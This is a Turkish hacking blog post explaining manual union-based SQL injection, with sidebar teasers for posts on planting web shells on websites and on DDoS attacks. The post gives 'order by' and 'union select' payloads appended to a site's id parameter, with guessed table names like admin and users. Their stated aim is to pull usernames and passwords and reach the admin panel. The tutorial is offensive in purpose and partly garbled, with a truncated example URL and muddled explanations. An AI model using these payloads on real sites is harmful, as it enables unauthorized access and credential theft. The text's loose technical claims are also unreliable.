Sql İnjection Nedir ? Nasıl Yapılır ?


Sql İnjection :

Sql İnjection Nedir Nasıl Yapılır Onları Bi Söyliyeyim ;

Sql İnjection Bir Açık Türüdür,Manual Sql İnjection Ve Havij...

Manual Sql İnjection Ve Havij Bir Bakıma Aynı Şeydir Manual Sql İnjectionda Ne Yaparız ?

Kolon Sayısı >> ID Pass >> Admin Paneli.

Havij Ne Yapar Aynı Yolu İzler Kodları Kullanır Bize Bunları Verir Tabii Açık Varsa Fakat Manual Sql İnjection Yapmak Havij'e Göre Daha Kesin Sonuç Doğurur...

Manual Sql İnjection Kodları Nelerdir ?

+order+by ===> Bu Komut Bize Kolon Sayısını Verir.

Atıyorum Kolon Sayımız 7

+union+select+0,1,2,3,4,5,6+from ===> Bu Komut Bize Kullanıcı Adını Ve Şifreyi Sayfaya Yansıtmamızı Sağlar Dikkat Ettiyseniz 6 Ya Kadar Yazdım Nedeni 0'ıda İçine Almamızdır...

+union+select+0,1,2,3+from+user ===> User Yazan Yeri Kafadan Sallamamız Gereklidir
admin,admins,administrator,user,users,userlist vs..

Önemli olan Bu Kodu Nereye Yazacağımızdır,Hemen Açıklayayım...

http://www.siteadı.com/index.php?id=...,2,3+from+user


http://www.siteadı.com/index.php?id=47+order+by


Gibi Yapacağız...


Manual Sql İnjection Bukadardı

Yorumlar

Yorum Gönder

Bu blogdaki popüler yayınlar

Shell Nedir ? Siteye Nasıl Sokulur ?

Shell Nedir? Nasıl Atılır? Neye Yarar? 1) shell nedir? 2) shell Nasıl Atılır? 3) Kaç Tür shell Vardır? 1) shell nedir? Shell Yüklendiği Sitede Size Çeşitli Yetkiler Veren Bir Materyaldir. Bu Yetkiler; Okuma, Yazma ve Silme Yetkileridir. shell Attığınız Sitede Bazen Bir Site Sahibinin Yetkilerini Kullanabilirken, Bazende Server(Host) Sahibinin Yetkilerini Kullana Biliyorsunuz. Bu Olaya Permission Yetkisi Denilir. Permissionları (İzinleri) Açık Olan Bir Sunucuda İstediğiniz Bütün Dosya ve Klasöri Okuyabilir, Silebilir veya Yükleme Yapabilirsiniz. İzinleri Kapalı Bir Sunucuda İse Bu Yetkiler Sınırlıdır. Tam Yetkiye Ulaşabilmeniz İçin Serveri Rootlamanız Gerekmektedir. Bir shelli En İyi Şekilde Kullanabilmek İçin shell Komutlarını İyi Bilmek Gerekir. Bunun Sebebi İse Sınırlı Erişiminiz Olan Sunucularda Tam Yetkiye Sahip Olmanız İçindir. Bir Çok Sunucuda Manuel Geçişlere İzin Verilmektedir. Spoll/Mail Kısmından Sunucudaki Diğer Sitelerin Kullanıcı Adını Öğrenerek ...
Devamı

Mozilla Firefox Hızlandırma

      Merhaba arkadaşlar bugün size mozilla firefox'u nasıl hızlandırıcağınızı anlatıcam. Dediklerimi yaparak tarayıcınızın hızlandığını fark ediceksiniz.           "Normal olarak Firefox bir web sayfasını açmak için o sayfaya bir istek gönderir. Eğer Firefox da Pipeling özelliğini aktif hale getirirseniz, sayfaya istek gönderilmez, aksine direkt olarak sayfa açılmaya çalışılır. Buda sayfanın daha çabuk tarayıcı ekranında gösterilmesini sağlar. Firefox 1.0 da Pipeling özelliğini aşağıdaki şekilde aktif hale getirebilirsiniz: 1. İlk önce URL adres çubuğunda "about:config" yazın ve enter yapın. 2. Açılan menüdeki arama çubuğunda "pipelining" yazarak arama kriterlerini kısaltın. (Daha az sonuç ekrana yansır) 3.Aşağıdaki değerlerin TRUE olmasını sağlayın * network.http.pipelining * network.http.proxy.pipelining Tips: Bu parametreler üstüne 2 kere çift tıklayarak TRUE olmasını sağlayabilirsiniz. 4. En fazla sorgulama için 30 değerini a...
Devamı

DDos Atak Nedir ?

      Herkese iyi günler bugünkü konumuz ddos atak kısaca bahsetmek istiyorum. DDos Attack Nedir? (Ddos Saldırı) DDOS saldırılarından korunmak oldukça zordur. Genellikle DDOS saldırı konusunda çok usta olan bilgisayar korsanları bile kendi sunucularını DDOS'dan koruma konusunda aynı şekilde başarılı değildirler. Küçük boyutlardaki (30-40 bilgisayardan oluşan botnet gibi) bir DDOS saldırısı, yazılım ile çoğu zaman kaynak IP adresleri bloke edilerek engellenebilir, fakat saldırı daha büyük boyutlardaysa saldıran IP adreslerini tanımlayıp engelleseniz bile gelen veri size atanan bant genişliğini harcayarak sitenizi açılmaz hale getirebilir. DDOS saldırılarının bazen haftalar hatta aylarca sürdüğü düşünülürse bu ekstra bant genişliği faturası ve bunun yanında ziyaretçiye iyi hizmet sunamamak oldukça sinir bozucu olabiliyor. DDOS saldırılarında genellikle ++++++'ın hedef sunucuya doğrudan bağlanması gerekmediğinden, kim olduğunun bulunması da son derece güç bir işt...
Devamı